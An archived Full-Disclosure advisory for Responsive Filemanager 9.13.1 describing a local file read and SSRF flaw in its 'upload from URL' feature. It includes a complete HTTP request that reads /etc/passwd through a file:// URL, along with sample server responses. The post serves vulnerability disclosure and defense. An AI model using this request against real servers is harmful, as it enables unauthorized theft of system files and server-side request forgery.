lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 8 Aug 2018 13:43:34 -0300
From: Silton Renato <siltonrenato02@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Full Disclosure - Responsive File Manager

Responsive Filemanager v 9.13.1 [1]
Author: Silton Santos

=====[ Table of Contents ]===================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Overview ]===================================

* System affected : Responsive Filemanager
* Software Version : 9.13.1 (other versions may also be affected).
* Impact : Get sensitive files from the server.

=====[ Detailed description ]===================================

1. Submit an upload request via the "FROM URL" and intercept with any proxy;
2. Change the parameter "url" to file:///{server_files}, in this example,
the parameter "url" was changed to file:///etc/passwd;

POST /filemanager/upload.php HTTP/1.1
Host: www.[...]
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Cookie: last_position=testess%2F; PHPSESSID=nl9pl5vthknvec92bji990krj0
Connection: close

fldr=testess%2F&url=file:///etc/passwd

3.Wait for the answer, if everything is ok, you'll get a response similar
to this:

{"files":[{"name":"passwd.txt","size":1612,"type":null,"path":"\/usr\/share\/tinymce\/www\/filemanager\/..\/source\/testess\/passwd.txt","url":"http:\/\/[...]\/source\/testess\/passwd.txt","deleteUrl":"http:\/\/[...]\/filemanager\/upload.php?file=passwd.txt","deleteType":"DELETE"}]}

4. Done, access the folder inserted in the "fldr" parameter and you can be
able to download the file from folder.

P.S:If the answer is similar to the following, possibly the user of the
service web, does not have permission on the file. If the size is equal to
0, the file may not exist.

{"files":[{"name":"passwd","size":1573,"type":null,"error":"Filetype not
allowed"}]}

=====[ Aggravating factors ]===================================

This functionality uses the input of the parameter "url" at the function
curl_exec. This function can be used by other protocols, like
smb,ftp,scp,telnet and others, impacting on a SSRF.

=====[ Timeline of disclosure ]===================================

07/17/2018 - Vulnerability reported to developer in two emails. (did not
answer)


=====[ References
]===========================================================

[1] http://www.responsivefilemanager.com/

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists